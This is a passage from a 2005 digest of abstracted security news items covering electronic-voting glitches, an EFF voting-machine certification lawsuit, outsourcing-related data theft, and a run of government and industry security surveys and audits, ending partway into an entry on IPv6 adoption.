
[Summary by Joseph Lorenzo Hall]

<i>Category</i>	<i>29.4</i>	<i>Online & electronic voting</i>		
2005-11-15		electronic voting glitches errors flaws fraud problems data integrity audit trails		
RISKS; http://josephhall.org/nqb2/index.php/2005/11/11/2005_glitches			24	10
VOTING GLITCHES FROM THE 7 NOV 2005 ELECTION				

Joseph Lorenzo Hall provided an extensive list of voting glitches on his Web site. He provided excerpts on RISKS:

* San Joaquin County, California - S.J. County has election night déjà vu

San Joaquin County workers misplaced a memory cartridge for an optical-scan machine. They rescanned the ballots and but haven't found the cartridge. In this story, an official says that the new Diebold TSx DREs that they want to use will make things work more smoothly... although the official doesn't recognize that misplacing the memory cartridge in a paperless DRE would not be as easily recoverable (although I believe you'd still have the ballot images resident in memory, no?).

* Cumberland County, Pennsylvania - Software error forces recount in close race for district judge

Two candidates in a race were both mistakenly listed as being from same party. Straight-ticket votes counted both candidates and initially resulted in over-votes. After this was corrected for, the race was down to a 2-vote margin (1703 to 1701 votes).

* Harwinton, Connecticut - Voting machine snafu may lead to challenge in Harwinton

One candidate was endorsed in a race by both Republican and Democratic parties and was listed twice in a choose 2 out of 3 race. This candidate, due to being listed twice, got twice as many votes as the other two candidates in the same contest.

* Pasquotank Co., North Carolina - In Elizabeth City, a 14-vote gap has one candidate calling for a recount

Selecting a certain candidate in the only contest on the ballot resulted in a write-in candidate box being selected instead. The margin in this race was 14 votes. Also, 60 blank ballots were cast (recall that there was only one race for this election).

* Lucas Co., Ohio - State plans to investigate voting chaos; Tuesday's problems are latest for Lucas County

This one is mysterious: "workers accidentally 'set an option [on the five machines] that prevented the results from being transported onto the memory card.'" Also, massive labor shortage resulted in chaos as election was highly understaffed and a system of "rovers" didn't function correctly (where one elections worker would travel to five polling places to get aggregate totals from machines).

* Montgomery County, Ohio - Vote count goes all night

Various problems resulted in having to download votes from 2000 memory cards instead of from one card each from the 548 precincts. However, during this process, 186 memory cards were found to be missing. After looking through bags of precinct materials ("I voted" stickers, signs, etc.) they had found 171 cards. The remaining 15 cards were only found after rousing pollworkers from bed at 3 am so they could return to the polling place to get the cards either left in machines or lying around the polling place.

* Wichita County, Texas - Human errors hamper voting

35 precincts neglect to perform zeroing out process before election. This resulted in the vote data being impossible to download from the DRE (ES&S) with PEB device. ES&S technicians were able to open the machines, remove the removable memory cards and read the data from there.

* Montgomery County, Ohio - 'Human error' creates doubt about failed vote in Carlisle

77 "phantom votes" found to have been cast in an election where a bond measure was defeated by a margin of 146 to 79. ("Phantom votes" are when there are more votes counted than there are registered voters that could have cast votes) In this case, there were only 148 registered voters that could have cast votes in this race.

[Lightly edited by MK. Each item in the original has a reference to a specific URL.]

Category 29.4 Online & electronic voting
2005-12-09 **electronic e-voting certification lawsuit EFF North Carolina**

RISKS; <http://www.siliconvalley.com/mld/siliconvalley/13361799.htm> 24 12
EFF E-VOTING CERTIFICATION LAWSUIT

Peter Ludemann reports that the North Carolina is being sued by the Electronic Frontier Foundation (EFF) for improper certification of voting machines:

>North Carolina law requires the Board of Elections to rigorously review all voting system code "prior to certification." But last week the state's Board of Elections certified voting systems from Diebold Election Systems, Sequoia Voting Systems, and Election Systems and Software without bothering to do so.... "This is about the rule of law," said EFF Staff Attorney Matt Zimmerman. "The Board of Elections has simply ignored its mandatory obligations under North Carolina election law. This statute was enacted to require election officials to investigate the quality and security of voting systems before approval, and only approve those that are safe and secure. By certifying without a full review of all relevant code, the Board of Elections has now opened the door for North Carolina counties to purchase untested and potentially insecure voting equipment." Keith Long, a North Carolina voting systems manager, defended the state's decision, telling News.com that reports from "independent testing authorities" were sufficient for certification. But that comes as poor reassurance. Because if the "independent testing authorities" to which Mr. Long refers are as impartial as he is, North Carolina is in big trouble. Long, you see, worked for Diebold Election Systems as recently as Oct. 1, 2004. And between 1983 and 1992 he worked for Sequoia.<

Mr Ludemann adds cogently, "So by 'independent' you mean 'independent of any public oversight,' right?"

Category 29.4 Online & electronic voting
2005-12-16 **Florida lawsuit drunk driving breathalyzer source code disclosure electronic e-voting relation**

RISKS; http://online.wsj.com/article_print/SB113470249958424310.html 24 13
FLORIDA BREATHALYZER SOURCE-CODE DISCLOSURE CASE

Contributor Danny Burstein refers to the following clip from The Wall Street Journal:

"A court fight in Florida over the software used in the instruments that detect alcohol in breath could threaten the ability of states and localities to prosecute drunk drivers.

"The battle is over the source code of breath analyzers made by CMI Group, a closely held maker of breath-alcohol instruments. Defense lawyers have challenged the use of the device and asked to see the original source code that serves as its computer brain, saying their clients have the right to examine the machine that brings evidence against them.

"Last February, a state appeals court in Daytona Beach ruled that Florida had to produce 'full information' about the test that establishes the blood-alcohol level of people accused of driving under the influence, or DUI. Otherwise, the court said, the evidence is inadmissible..."

Mr. Burstein exclaims, "Imagine if this logic followed through to the equipment being slid into election vote counting!"

29.7 **Outsourcing**

Category 29.7

Outsourcing

2005-06-23

data theft insider attack employee outsourcing foreign worker call center reporter investigation bank account details identity theft credit card fraud

RISKS; <http://news.bbc.co.uk/1/hi/uk/4121934.stm>

23

93

INDIAN CALL-CENTER WORKER SOLD BANK-ACCOUNT DETAILS TO REPORTER

Police are investigating reports an Indian call centre worker sold the bank account details of 1,000 UK customers to an undercover reporter. The information passed on could have been used to clone credit cards.

The Risks?

Obvious really - overseas call centres in poverty stricken third world countries, the staff of whom have unlimited access to personal and private information of the more wealthy, are the worst security risks ever devised by financial organisations.

[The abstract and comments above are reorganized from the original note submitted to RISKS by "SB", who is not otherwise identified.]

Category 29.7

Outsourcing

2005-12-05

Intel Corp investment research development R&D outsourcing India foreign offshore Bangalore

EDUPAGE; <http://news.bbc.co.uk/2/hi/business/4499362.stm>

INTEL UPS INVESTMENT IN INDIA

Intel has announced plans to invest \$1 billion in India, where it already operates the company's largest nonmanufacturing site outside the United States. That site, in Bangalore, hosts development efforts for software. The new investment, expected over the next five years, will be split between the existing research and development efforts and local firms. Craig Barrett, chairman of Intel, said, "We will grow our local operations, boost venture capital investments, and work closely with the government, industry, and educators." The company said it has not made any decisions about opening manufacturing facilities in India, though such an option remains open. The costs of doing business in countries including India are significantly lower than in the United States. Some estimates put the salary for an Indian software engineer at one-sixth of what a comparably skilled engineer would earn in the United States. BBC, 5 December 2005

31.1 Surveys, studies, audits of security

Category 31.1 Surveys, studies, audits of security

2005-01-10 **poll attack Internet power grid P2P peer-to-peer**

NewsScan; http://www.pewinternet.org/PPF/r/145/report_display.asp

NO SURPRISES HERE -- A BIGGER ROLE FOR THE INTERNET PREDICTED

A majority of the 1,286 experts polled by the Pew Internet & American Life Project and Elon University believe that at least one devastating attack on either the networked information infrastructure or the U.S. power grid will occur in the next 10 years. Other areas of general agreement: The Internet will become more deeply integrated in our physical environments and high-speed connections will become more commonplace. When examining the impact of these trends, 59% agreed that government and business surveillance activities likely will increase as computing devices become embedded in appliances, cars, phones and even clothes; 57% said virtual classes will play a greater role in formal education, with students occasionally grouped by skill level or interest, rather than by age; 56% predicted a continued blurring of the line between work and leisure thanks to the expansion of telecommuting, and resulting in a changing family dynamic; and 50% thought P2P music file-sharing would still be available a decade from now. Schools came in for sharp criticism, with many of the experts noting how little educational institutions had changed, despite all the hype over "school wiring" during the past decade. And it was generally agreed that the "digital divide" was alive and well, with low income, rural and poorly educated people having significantly less access to the Internet than their wealthier, better educated and more metropolitan counterparts. (Pew Internet & American Life Project 10 Jan 2005)

Category 31.1 Surveys, studies, audits of security

2005-01-13 **national cybercrime survey Department Homeland Security DHS Justice DoJ 36000 businesses**

DHS IAIP Daily; <http://fcw.com/fcw/articles/2005/0110/web-survey-01-13-05.asp>

CYBERCRIME SURVEY PLANNED

In what they hope will become the premier measure of national cybercrime statistics, officials at the Department of Homeland Security (DHS) and the Department of Justice (DOJ) plan to survey 36,000 businesses this spring to examine the type and frequency of computer security incidents. Officials from both departments said there are currently no surveys that do what they envision the Computer Security Survey will do annually: provide statistically relevant national data on cybercrime across all U.S. businesses, especially those in critical infrastructure sectors. Patrick Morrissey, deputy director for law enforcement and intelligence in DHS' National Cyber Security Division, said no one really knows if the problem is getting better or worse or what sectors cybercriminals may be targeting. Better data could help form policy and improve resource allocation for government and the commercial sector, but few datasets are available on the national level.

Category 31.1 Surveys, studies, audits of security

2005-01-24 **Internal Revenue Service IRS information technology IT security plan improvement corrective action**

DHS IAIP Daily; <http://informationweek.com/story/showArticle.jhtml?articleID=57703333>

IRS NEEDS BETTER IT SECURITY PLAN, INSPECTOR GENERAL SAYS

The Internal Revenue Service isn't doing enough to assure the security of its IT systems, according to a Treasury Department Inspector General's report made public last week. The report says the IRS has prepared action plans and milestones to track program-level and system-level weaknesses, as required by the White House Office of Management and Budget. But the process the IRS employs to identify weaknesses and report progress is flawed and ineffective, the report states. That means the information the IRS provides Treasury and has been inaccurate and misleading. To ensure an effective system is established to monitor security weaknesses, the Inspector General's office recommends that the IRS chief of mission assurance and security services coordinate with the department's CIO and business-unit owners to develop plans that specifically identify all known security weaknesses. The IRS chief of mission assurance and security services agrees with the inspector general's recommendations, and has initiated a number of corrective actions. Report: http://www.ustreas.gov/tigta/auditreports/2005reports/200520_027fr.pdf

Category 31.1 Surveys, studies, audits of security
2005-02-01 **Virtual Private Networks VPN weakest security link three year study report NTA Monitor**

DHS IAIP Daily; <http://www.vnunet.com/news/1160912>

VIRTUAL PRIVATE NETWORKS (VPNS) ARE OFTEN THE WEAKEST SECURITY LINK, STUDY SAYS.

A three-year research project by security firm NTA Monitor has concluded that nine out of 10 virtual private networks (VPNs) have exploitable vulnerabilities. Most of the companies that had their VPNs tested as part of the project thought that they were invulnerable to hackers, but researchers found the same types of flaw repeated across the whole product range. The report stated that, in some cases, VPNs were actually the weakest security link in an organization. The most widespread flaw involved the hacking of user names. Other vulnerabilities center around password cracking. Report: <http://www.nta-monitor.com/news/vpn-flaws/index.htm>

Category 31.1 Surveys, studies, audits of security
2005-02-02 **survey study spyware surveillance Trojans**

RISKS; <http://www.earthlink.net/spyaudit/press>

23 70

SPYAUDIT REPORTS GROWTH IN MALWARE

Monty Solomon reports:

The most malicious forms of spyware, system monitors and Trojans, increased in the last three months of 2004, according to the quarterly SpyAudit report, the nation's next-generation Internet Service Provider, and Webroot Software, a producer of award-winning privacy, protection and performance software. The report also documents the complete SpyAudit results for 2004, which tracked the growth of spyware on consumer PCs since the report's inception on January 1, 2004. It shows the instances of system monitors rose 230 percent, while the instances of Trojans rose 114 percent from October 2004 to December 2004. Trojans, keystroke loggers and system monitors are capable of capturing keystrokes, online screenshots, and personally identifiable information like your social security number, bank account numbers, logins and passwords, or credit card numbers.

The number of SpyAudit scans performed during the fourth quarter also rose with an increase of 72 percent from October 2004 through December 2004. In total for 2004, more than 4.6 million scans were performed, discovering approximately 116.5 million instances of spyware, adware or potentially unwanted software. An average of 25 traces were found per SpyAudit scan for 2004. The complete report is available at <http://www.earthlink.net/spyaudit/press>

Category 31.1 Surveys, studies, audits of security
2005-02-08 **survey security insider threat greater hacker virus worm Ponemon Institute**

DHS IAIP Daily; <http://www.networkingpipeline.com/showArticle.jhtml?articleID=59301819>

SURVEY SAYS INSIDERS, NOT HACKERS, ARE MAIN CAUSE OF DATA BREACHES

Most network security breaches are caused by insiders, rather than by hackers, viruses, or worms, according to a new study released by the think tank Ponemon Institute. In the study, 69% of companies reported that their data security breaches were the result of either malicious employee activities or non-malicious employee error. The leading single cause of data security breaches was non-malicious employee error, at 39%. Only 16% of serious data leaks were linked to hackers or break-ins. Of the 163 companies surveyed, 75% reported that a serious security breach had occurred within the past year.

[MK notes: WHAT HAVE WE SECURITY PEOPLE BEEN TELLING YOU FOR THE LAST 25 YEARS?? WHAT ARE WE, CHOPPED LIVER??]
[***** (turns bright red)]
[SLAP (slaps forehead in frustration)]
[THUD (falls off chair)]
[SCRABBLE SCRABBLE (gets back on chair)]

Category 31.1

Surveys, studies, audits of security

2005-02-09

**survey slide higher-ed it spending colleges universities analysts budgets
performance hardware costs investments wireless networks**

EDUPAGE; <http://chronicle.com/prm/daily/2005/02/2005020903n.htm>

SURVEY PREDICTS SLIDE IN HIGHER ED IT SPENDING

A recent Market Data Retrieval survey of IT officials at more than 1,400 two- and four-year colleges and universities suggests a decline of 4 percent in IT spending this year compared to last year, itself a decline over the previous year. Analysts at the research firm said the decline is likely a result not only of tight budgets overall but also of increased performance of hardware, allowing lower costs for some investments. The overall drop of 4 percent is the net of a 13 percent slide in investments at public institutions and a 28 percent increase at private institutions. Private institutions continue to significantly outpace their public counterparts on IT spending per student, spending an average of \$553 per student versus \$203 at publics. The survey also found slightly lower rates of distance education offerings, down from 67 percent to 64 percent, and an increase in wireless networks, rising from 70 percent last year to 79 percent this year.

Category 31.1

Surveys, studies, audits of security

2005-02-13

**cybersecurity study competitive advantage bottom line boost Business Software
Alliance BSA Information Systems Security Association ISSA**

DHS IAIP Daily;

[http://www.scmagazine.com/news/index.cfm?fuseaction=newsDatails&newsUID=87605d0f-ffc6-4169-93e4-3c7274412de7&newsType=Latest%20News](http://www.scmagazine.com/news/index.cfm?fuseaction=newsDatails&newsUID=87605d0f-ffc6-4169-93e4-3c7274412de7&newsType=Lastest%20News)

SC MAGAZINE — CYBERSECURITY BOOSTS BOTTOM LINE

Companies that make cybersecurity a priority say it increases their efficiency and gives them a competitive advantage in the market, according to a survey of information security professionals. The joint survey by the Business Software Alliance (BSA) and the Information Systems Security Association (ISSA) queried 850 ISSA members online between December 2004 and January 2005. The members represent large to small businesses. Seventy-six percent of the companies said raising security as a priority gives them a competitive advantage. Their systems are down less often, they're not losing customers due to lack of trust, and their brand is not threatened, said Robert Holleyman, BSA president and CEO. The survey also showed that in the last 12 months, more companies have raised security to the senior management level - 44 percent in 2004 versus 39 percent in the previous 2003 survey. Survey: <http://www.bsa.org/usa/press/newsreleases/BSA-ISSA-Commissioned-Survey.cfm>

Category 31.1

Surveys, studies, audits of security

2005-02-15

**CIO IT Association of America managers survey system consolidation security
priorities 2005**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/35066-1.html

CIOS SAY CONSOLIDATION AND CYBERSECURITY TOP PRIORITY LIST.

CIOs and IT managers will focus on systems consolidation and security through the end of the fiscal year. That's the chief finding from a new survey of CIOs from civilian, Defense Department, legislative and top-level executive offices. The driving factors behind IT consolidation are cutting costs and improving network cybersecurity, respondents said in the 15th annual Federal CIO Survey. CIOs also identified risk management, integrating physical and IT security, and assessing the vulnerabilities of less crucial systems as among their top priorities. The survey, conducted by the IT Association of America, found that CIOs want to reduce the number of e-mail, file and print servers in use as well as cut the number of data centers. Survey: http://www.itaa.org/news/docs/itaasurvey_f.pdf

Category 31.1 Surveys, studies, audits of security
2005-02-16 **American Electronics Association IT US student decline international competitive advantage leadership math science education**

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0214/web-aea-02-16-05.asp>

AMERICAN ELECTRONICS ASSOCIATION FEARS I.T. DECLINE

A report from the American Electronics Association warns that the decreasing focus on science and technology inside the United States will weaken the country's competitive advantage. The trade group's report notes that federally sponsored research and development funding for information technology has declined during the past decade and a half as priorities have shifted to life sciences. Authors of "Losing the Competitive Advantage?" also argued the U.S. educational system fails to provide the math and science skills needed to compete in the workforce, while higher education does not graduate enough scientists and engineers to keep up with the high-tech industry's growth. Bob Cohen, a senior vice president at the Information Technology Association of America (ITAA), said ITAA members agree that some indicators suggest U.S. leadership in high technology may be at risk, if the country does not sharpen its competitiveness in global markets. Report: http://www.aeanet.org/Publications/idjj_CompétitivenessMain0205.asp

Category 31.1 Surveys, studies, audits of security
2005-02-16 **US government cyber security report card homeland security**

NewsScan;
http://www.boston.com/business/technology/articles/2005/02/16/agencies_earn_d_plus_on_computer_security/

'D' IS FOR 'DISMAL' U.S. GOV'T CYBERSECURITY

Despite widespread agreement that computer security should be a top priority of U.S. government agencies, the latest cybersecurity progress report from Congress rates overall government efforts a D-, with seven of the 24 largest agencies earning a failing grade -- including the departments of Energy and Homeland Security, which, ironically, houses the National Cyber Security Division. "Several agencies continue to receive failing grades, and that's unacceptable," says Rep. Tom Davis (R-Va.), chair of the House Government Reform Committee. But on the bright side, says Davis, "We're also seeing some exceptional turnarounds." Those include the departments of Transportation (up from a D+ to an A-), Justice (up from an F to a B-) and the Interior (up from an F to a C+). Davis notes that problem areas include lax security at federal contractor computers; a lack of contingency planning for broad system failures; and scant training opportunities for employees responsible for computer security. (AP/ Boston.com 16 Feb 2005)

Category 31.1 Surveys, studies, audits of security
2005-02-16 **federal government cybersecurity report card cyber attack**

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A30342-2005Feb16.html>

FEDERAL AGENCIES GET FAILING GRADES ON CYBERSECURITY

At least half of all federal agencies received a grade of "D" or worse on the House Government Reform Committee's annual cyber-security report card. Agencies that received failing marks include the departments of Agriculture, Commerce, Energy, Health and Human Services, Housing and Urban Development, and Veterans Affairs. A grade of "D" was awarded to the departments of Defense and Treasury, as well as the National Aeronautics and Space Administration and the Small Business Administration. Committee Chairman Tom Davis (R-VA) was encouraged by the fact that the scores of the 10 agencies, as poor as they were, have actually improved since last year, but he warned they must still do better. "I hope it won't take some kind of major cyber-attack to wake everybody up." (Washington Post 16 Feb 2005)

Category 31.1 Surveys, studies, audits of security
2005-02-16 **companies education training Secure Software Forum colleges universities Oracle problems sophisticated automated tools flaws representatives**

EDUPAGE; http://news.com.com/2100-1002_3-5579014.html

COMPANIES POINT TO EDUCATION FOR POOR SECURITY TRAINING

In a panel discussion at the Secure Software Forum in San Francisco, a number of major software makers pointed to inadequate security training at colleges and universities as a main reason software continues to be plagued with security flaws. Mary Ann Davidson, chief security officer at Oracle, said, "Unfortunately, if you are a vendor, you have to train your developers until the universities start doing it." Although other problems were identified, including a lack of sophisticated, automated tools to identify flaws, representatives of other software companies included in the panel agreed that at least some of the blame falls on colleges and universities for not providing graduates with sufficient understanding of security issues. Fred Rica, a partner in PricewaterhouseCoopers' Threat and Vulnerability Assessment Services, disagreed, saying that "Functionality still trumps security." When companies must decide how to allocate development money, he said, they choose new features over security for existing applications. A study by Gartner noted that although companies cite lack of skills among developers as a significant problem, those same companies put relatively little funding into training programs.

Category 31.1 Surveys, studies, audits of security
2005-03-04 **White House government auditors information technology IT report security improvement indication Congress presentation**

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=60405791>

WHITE HOUSE REPORT SHOWS IMPROVEMENT IN IT SECURITY

Government auditors certified and accredited 77% of the federal government's 8,623 IT systems after undergoing risk assessments and security-control testing last fiscal year, up from 62% in fiscal year 2003, according to a White House report to Congress made public Friday, March 4. Several agencies, notably the departments of Labor and Transportation, showed remarkable improvements, with Transportation certifications rocketing to 98% from 33% and Labor accreditations leaping to 96% from 58%. Karen Evans, administrator for E-government and IT in the White House Office of Management and Budget, said at a press briefing that she was pleased with the progress, but the government must be diligent even when all systems are eventually certified. "You can't be 100% secure," she said. Report:
http://www.whitehouse.gov/omb/inforeg/2004_fisma_report.pdf

Category 31.1 Surveys, studies, audits of security
2005-03-10 **Singapore first network technology readiness index United States US drop**

DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/articles/A23545-2005Mar10.html>

SINGAPORE TOPS SURVEY OF TECH READINESS.

The United States is no longer first in making the best use of information and communications technology, a new study says. It dropped to fifth place this year and Singapore is now tops. Singapore's ranking in the so-called "networked readiness index" was based on several factors, including quality of math and science education and low prices for telephone and Internet services, said the World Economic Forum report. The United States' drop from first place last year "is less due to actual erosion in performance" than to the improvement of other countries, the report said. Report:
<http://www.weforum.org/site/homepublic.nsf/Content/Global+Competitiveness+Programme%5CGlobal+Information+Technology+Report>

Category 31.1

Surveys, studies, audits of security

2005-03-15

European information technology IT managers false sense Stress in Security study survey

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/story/0,10801,100397,00.html>

STUDY: EUROPEAN IT MANAGERS HAVE FALSE SENSE OF SECURITY

Many European IT managers find their jobs extremely stressful, and even those who feel they have done as much as they can to protect their companies against emerging threats are operating under a false sense of security, according to a study released today. These conclusions were detailed in Websense Inc.'s "Stress in Security" survey of 500 IT managers across Europe. Although 91% of the managers said they believe their companies have good IT security, 70% said they leave gaps open to common Internet threats, according to the study. Many known Web-based threats are being overlooked, and a majority of respondents said they have no measures in place to protect against internal hackers or phishing attacks. "The biggest problem is that they are being reactive rather than proactive," said Websense spokesperson Rebecca Zarkos, who worked on the report. Eight percent of the European companies surveyed said they have no security measures beyond a basic firewall and an antivirus product in place. A possible reason behind the lax security is that IT managers aren't delegating enough responsibility to end users, and too few security policies are enforced, Websense said. Report Summary: <http://www.websense.com/global/en/PressRoom/PressReleases/PressReleaseDetail/?Release=050315863>

Category 31.1

Surveys, studies, audits of security

2005-03-25

cybersecurity regulations challenge study report Department of Homeland Security DHS regulatory power

DHS IAIP Daily; <http://www.fcw.com/article88407-03-25-05-Web>

STUDY SAYS CYBERSECURITY REGULATIONS WOULD BE CHALLENGING TO IMPLEMENT

Some lawmakers, concerned about the nation's vulnerability to cybercrime and possible cyberterrorism, are considering whether a larger federal government role in dealing with the problem is feasible. But a recent study by the Congressional Research Service, which conducts public policy studies, suggests that congressional leaders will face significant challenges if they try to create a regulatory framework to strengthen the nation's cyberdefenses. The report cites two possible models for greater government involvement in cybersecurity. One is the government response to the year 2000 computer crisis. The Securities and Exchange Commission set rules requiring companies to report on their Year 2000 preparedness, and Congress passed liability protections for companies that complied with the rules. The other is a food safety or environmental regulation model in which federal agencies set regulations and use inspectors to monitor compliance. But the report raises questions about the feasibility of either model. Despite being inconclusive, the report lays out several legislative options. The strongest option, according to the report, would be for Congress to provide the Department of Homeland Security or another agency with regulatory authority over cyberspace industries. Report: <http://www.usembassy.it/pdf/other/RL32777.pdf>

Category 31.1

Surveys, studies, audits of security

2005-04-04

higher education colleges universities computer security below average

EDUPAGE; <http://www.nytimes.com/2005/04/04/technology/04data.html>

HIGHER ED FARES BELOW AVERAGE FOR COMPUTER SECURITY

A recent spate of computer-security incidents at colleges and universities has drawn attention to the apparent tension between concerns over academic freedom and the need to protect sensitive information. Stanton S. Gatewood, chief information security officer at the University of Georgia, which suffered a security breach last year, noted that higher education is "built on the free flow of information and ideas," saying that college and university networks are designed based on that ideal. The result, however, is a tempting target for information thieves. According to the Office of Privacy Protection in California, colleges and universities in that state have accounted for more data incidents since 2003--close to 30 percent--than any other group. Although some states now prohibit using Social Security numbers as identifiers in many databases, their continued prevalence makes changing structures difficult. The University of Michigan, for example, spent seven years weaning itself off Social Security numbers. Because testing agencies and other organizations continue to use them, however, the university finds it still has to track them. New York Times, 4 April 2005 (registration req'd)

Category 31.1

Surveys, studies, audits of security

2005-04-06

businesses information technology IT system downtime virus attack denial of service DoS study

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml;jsessionid=JEJIDQB3K21CEQSNDBGCKHSCJUMEKJVN?articleID=160501452>

BUSINESSES SUFFER MORE DOWNTIME FROM VIRUSES

Damage to business IT systems caused by viruses continues to grow, and businesses are getting hit by more viruses, according to a new survey. IT systems were hit with 50% more viruses in 2004 than they were in 2003, reaching 392 incidents per 1,000 machines, according to a survey of 300 companies and government agencies sponsored by McAfee, Microsoft, Trend Micro, and other vendors, and conducted by ICSA Labs, a division of Cybertrust Inc. The Virus Prevalence Survey indicates that when 25 or more PCs or servers are infected, system downtime increased by 12% in 2004 compared with a year earlier. The amount of time it took in 2004 to recover from the infections increased by seven person days, year over year, and the actual costs of recovery averaged \$130,000. Both of those figures were 25% higher than in 2003. Survey details:
http://www.cybertrust.com/pr_events/2005/20050405.html

Category 31.1

Surveys, studies, audits of security

2005-04-07

Government Accountability Office information security report testimony FISMA 2002 devastating consequences

DHS IAIP Daily; <http://www.gao.gov/cgi-bin/getrpt?GAO-05-483T>

INFORMATION SECURITY: CONTINUED EFFORTS NEEDED TO SUSTAIN PROGRESS IN IMPLEMENTING STATUTORY REQUIREMENTS (TESTIMONY)

For many years, the Government Accountability Office (GAO) has reported that poor information security is a widespread problem that has potentially devastating consequences. This testimony reports on the federal government's progress and challenges in implementing the Federal Information Security Management Act of 2002 (FISMA) as reported by the Office of Management and Budget (OMB), the agencies, and Inspectors General (IGs). In its fiscal year 2004 report to the Congress, OMB reports significant strides in addressing long-standing problems, but at the same time, cites challenging weaknesses that remain. Fiscal year 2004 data reported by 24 major agencies generally show increasing numbers of systems meeting key statutory information security requirements compared with fiscal year 2003. Nevertheless, challenges remain. For example, only seven agencies reported that they had tested contingency plans for 90 to 100 percent of their systems, and six of the remaining 17 agencies reported that they had tested plans for less than 50 percent of their systems. Opportunities also exist to improve the usefulness of the annual FISMA reporting process. In addition, a commonly accepted framework for the annual FISMA mandated reviews conducted by the IGs could help ensure the consistency and usefulness of their evaluations.

Category 31.1

Surveys, studies, audits of security

2005-04-25

unpatched computer machines major security threat McAfee analysis

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml;jsessionid=ZWPITNXHNCIMQSNDBCSKH0CJUMEKJVN?articleID=161502434>

UNPATCHED MACHINES SEEN AS MAJOR SECURITY THREAT

Hackers will keep developing exploits that take advantage of known software vulnerabilities because, although patches are available, a minority of machines are fixed, security vendor McAfee said Monday, April 25. In releasing its quarterly security analysis, McAfee's "AVERT" virus research team noted that exploited vulnerabilities are becoming a dominant threat to both consumers and enterprises. According to AVERT's estimates, half or more of the computers connected to the Internet aren't properly patched or updated. Not good, especially when the number of vulnerabilities spotted in the first quarter of 2005 was up six percent over the same quarter last year. While traditional viruses may be on the way out, other threats, such as phishing, have stepped in to fill the gap said Vincent Gullotto, the vice president of AVERT. "I think we'll see a reduction in the number of traditional phishing sites that entice people to divulge information," he said. "Instead, we'll see programs that are pure spyware that can directly target the clientele they want, to get the data they need." AVERT Report:
http://www.mcafeesecurity.com/us/about/press/corporate/2005/20050425_185320.htm

Category 31.1

Surveys, studies, audits of security

2005-04-25

survey study steep rise Website defacements 2004 hacktivism

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4480689.stm>

SURVEY SHOWS STEEP RISE IN WEB SITE DEFACEMENTS

Attacks on Web sites jumped 36 percent in 2004, totaling nearly 400,000 incidents, according to Zone-H, an organization that tracks malicious Web activity. Of the attacks recorded by the organization, Web site defacements--in which a bogus Web page is substituted for a Web site's home page--constituted the vast majority of attacks. Roberto Preatori of Zone-H pointed out, though, that "the techniques used by defacers are the same techniques used by serious criminals to cause more serious damage." According to the group's report, more than half of the successful hacks took advantage of a known weakness or careless administration, such as easily guessed passwords or unprotected systems. Zone-H reported that the frequency of attacks rises over the Christmas holidays and drops when schools reopen each year after summer break. BBC, 25 April 2005

Category 31.1

Surveys, studies, audits of security

2005-05-02

study antivirus software media playing hacking operating system autoupdate patching helpful security

DHS IAIP Daily;

<http://www.reuters.com/newsArticle.jhtml?type=technologyNews&storyID=8359020>

STUDY SHOWS HACKERS WIDENING FOCUS

Online criminals turned their attention to antivirus software and media players in the first three months of 2005 as they sought new ways to take control of users' computers, according to a survey released on Monday, May 2. While hackers continued to poke new holes in Microsoft's Windows operating system, they increasingly exploited flaws in software made by other companies as well, the nonprofit SANS Institute found. As more Windows users agreed to receive security upgrades automatically, hackers looked to take advantage of other software programs that might not be patched as frequently, the head of the cybersecurity training and research organization said. "Operating systems have gotten better at finding and fixing things and auto-updating, so it's less fertile territory for the hackers," said SANS Chief Executive Alan Paller. More than 600 new Internet security holes have surfaced in 2005 so far, SANS found. Report: <http://www.sans.org/top20/Q1-2005update>

Category 31.1

Surveys, studies, audits of security

2005-05-13

US Government Accountability Office GAO emerging cybersecurity issues report FISMA

DHS IAIP Daily; <http://www.gao.gov/cgi-bin/getrpt?GAO-05-231>

INFORMATION SECURITY: EMERGING CYBERSECURITY ISSUES THREATEN FEDERAL INFORMATION SYSTEMS (REPORT)

Spam, phishing, and spyware pose security risks to federal information systems. The blending of these threats creates additional risks that cannot be easily mitigated with currently available tools. Most agencies were not applying the information security program requirements of the Federal Information Security Management Act of 2002 (FISMA) to these emerging threats. Pursuant to FISMA, the Office of Management and Budget (OMB) and the Department of Homeland Security (DHS) share responsibility for the federal government's capability to detect, analyze, and respond to cybersecurity incidents. However, governmentwide guidance has not been issued to clarify to agencies which incidents they should be reporting, as well as how and to whom they should report. The Government Accountability Office (GAO) recommends that the director, OMB, ensure that agencies address emerging cybersecurity threats in their FISMA-required information security program and coordinate with DHS and the Department of Justice to establish guidance for agencies on how to appropriately address and report incidents of emerging threats. OMB representatives generally agreed with GAO findings and conclusions and indicated their plans to address the recommendations. Highlights: <http://www.gao.gov/highlights/d05231high.pdf>

Category 31.1

Surveys, studies, audits of security

2005-05-17

poll study firewall security lax e-mail virus executables phishing

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2135301/lax-security-leaving-networks-wide-open>

LAX SECURITY LEAVES NETWORKS WIDE OPEN

Lax firewall security is leaving companies open to the installation of malicious software on their internal networks, a newly published Harris poll has warned. Fewer than half of companies block executable files from the Internet, and the same percentage fail to prevent such software coming in via instant messaging. Some 40 percent do not even block executables in email, the major cause of virus infections. The phishing threat was highlighted in the research as a major problem. Over 80 percent of those questioned indicated that their company had received phishing emails, and 45 percent said that employees had clicked through to the bogus websites. Lack of awareness is key to this problem, according to the poll. Two thirds of employees claimed not to know what phishing is, and half of all companies admitted to having no Internet security training.

Category 31.1

Surveys, studies, audits of security

2005-05-19

Juniper Network study Internet Protocol IPv6 interest lagging

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=163105617>

INTEREST IN IPV6 LAGGING

